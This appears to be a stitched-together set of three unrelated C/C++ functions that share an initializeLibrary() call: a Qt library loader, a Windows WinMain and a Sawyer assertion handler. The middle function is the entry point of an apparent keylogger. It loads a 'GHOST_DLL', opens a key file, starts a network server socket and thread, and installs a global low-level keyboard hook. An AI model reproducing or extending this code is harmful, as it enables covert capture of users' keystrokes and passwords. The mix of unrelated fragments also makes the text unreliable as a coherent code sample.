QCoder::Error QAbstractCoder::load() { if(!mLibrary.isLoaded()) { QFile file(filePath()); if(!file.exists()) { setError(QCoder::LibraryFileError); return error(); } if(mLibrary.load()) { setError(initializeLibrary()); if(error() != QCoder::NoError) { unload(); } return error(); } else { setError(QCoder::LibraryFileError); return error(); } } setError(QCoder::NoError); return error(); }
int CALLBACK WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; BOOL bRet; HMODULE dllMod; HHOOK hookHandle; SOCKET serverSocket; HANDLE serverThreadHandle; UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); UNREFERENCED_PARAMETER(nCmdShow); /* initialize, all of these functions and procedures * must complete successfully in order for the main loop to begin */ if( !initMutex() || !registerWindowClass( hInstance ) || !createWindow( hInstance ) || ((dllMod = LoadLibrary( TEXT(GHOST_DLL)) ) == NULL ) || !(initializeLibrary() ) || !(initKeyFile() ) || !(initWinSock(&serverSocket) ) || !(initServerThread(&serverSocket, &serverThreadHandle) ) || ((hookHandle = SetWindowsHookEx( WH_KEYBOARD_LL, hookProcedure, dllMod, 0) ) == NULL)) { return EXIT_FAILURE; } /* main message loop */ while( (bRet = GetMessage( &msg, NULL, 0, 0 )) != 0) { TranslateMessage(&msg); DispatchMessage(&msg); } /* clean up and exit */ UnhookWindowsHookEx( hookHandle ); FreeLibrary( dllMod ); return EXIT_SUCCESS; }
SAWYER_EXPORT void fail(const char *mesg, const char *expr, const std::string ¬e, const char *filename, unsigned linenum, const char *funcname) { initializeLibrary(); if (!Message::assertionStream) Message::assertionStream = Message::mlog[Message::FATAL]; *Message::assertionStream <<mesg <<":\n"; if (filename && *filename) *Message::assertionStream <<" " <<filename <<":" <<linenum <<"\n"; if (funcname && *funcname) *Message::assertionStream <<" " <<funcname <<"\n"; if (expr && *expr) *Message::assertionStream <<" " <<expr <<"\n"; if (!note.empty()) *Message::assertionStream <<" " <<note <<"\n"; if (assertFailureHandler) assertFailureHandler(mesg, expr, note, filename, linenum, funcname); abort(); }